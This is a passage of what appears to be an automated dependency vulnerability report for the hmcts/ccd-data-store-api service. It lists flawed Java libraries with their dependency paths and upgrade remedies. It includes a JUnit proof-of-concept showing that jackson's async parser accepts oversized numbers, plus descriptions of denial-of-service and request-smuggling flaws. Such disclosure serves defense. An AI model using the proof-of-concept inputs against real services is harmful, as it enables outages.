  • Vulnerable module: io.opentelemetry:opentelemetry-api
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 io.opentelemetry:opentelemetry-api@1.37.0

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the W3CBaggagePropagator() function. An attacker can cause excessive memory allocation and CPU consumption by sending oversized baggage data, which is automatically re-injected into every outgoing request and can impact downstream services.

Remediation

Upgrade io.opentelemetry:opentelemetry-api to version 1.62.0 or higher.

References

high severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 and org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.bouncycastle:bcprov-jdk18on@1.81
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.bouncycastle:bcprov-jdk18on@1.81

Overview

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm due to the generateCTR process in G3413CTRBlockCipher. An attacker can recover relationships between encrypted plaintext blocks by driving the cipher past its counter range and causing the counter to wrap, which makes the stream repeat and produces identical ciphertext for different blocks. This breaks the confidentiality of data protected with G3413CTRBlockCipher and can expose plaintext patterns or allow plaintext recovery when the same key and IV are reused across enough blocks.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-core@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Uncontrolled Memory Allocation

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Uncontrolled Memory Allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.

Remediation

Upgrade io.netty:netty-codec to version 4.1.46.Final or higher.

References

high severity

Timing Attack

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 and org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.bouncycastle:bcprov-jdk18on@1.81
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.bouncycastle:bcprov-jdk18on@1.81

Overview

Affected versions of this package are vulnerable to Timing Attack through the sample and sample_matrix functions in FrodoEngine.java. An attacker can recover information about the sampled noise values by observing how long Frodo key generation or encapsulation takes when it processes attacker-influenced inputs. The variable-time comparison and sign handling in the error sampler leak the distribution of the generated samples, weakening the secrecy of the private Frodo noise and enabling key-recovery attacks against affected deployments.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

high severity
new

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via multipart request processing in Spring WebFlux. An attacker can cause denial of service by sending crafted multipart requests that trigger a memory leak during request processing, leading to excessive memory consumption and potentially causing the application to become unavailable.

Note: This is only exploitable if the application uses Spring WebFlux and exposes an endpoint that accepts multipart requests.

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the XmlLayout plugin. An attacker can cause log events to be silently lost or malformed by injecting XML 1.0 forbidden characters into log messages or MDC values. This may result in malformed XML output, which can cause downstream log-processing systems to drop affected records or prevent log events from being delivered to their intended destinations.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the Log4j1XmlLayout plugin. An attacker can cause log events to be silently lost or downstream log processing systems to drop or fail to index affected records by introducing XML 1.0 forbidden characters into log messages, resulting in malformed XML output that conforming XML parsers reject with a fatal error.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). SnappyFrameDecoder doesn't restrict chunk length any mad buffer skippable chunks in an unnecessary way, leading to excessive memory usage. This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file), or by sending a huge skippable chunk.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

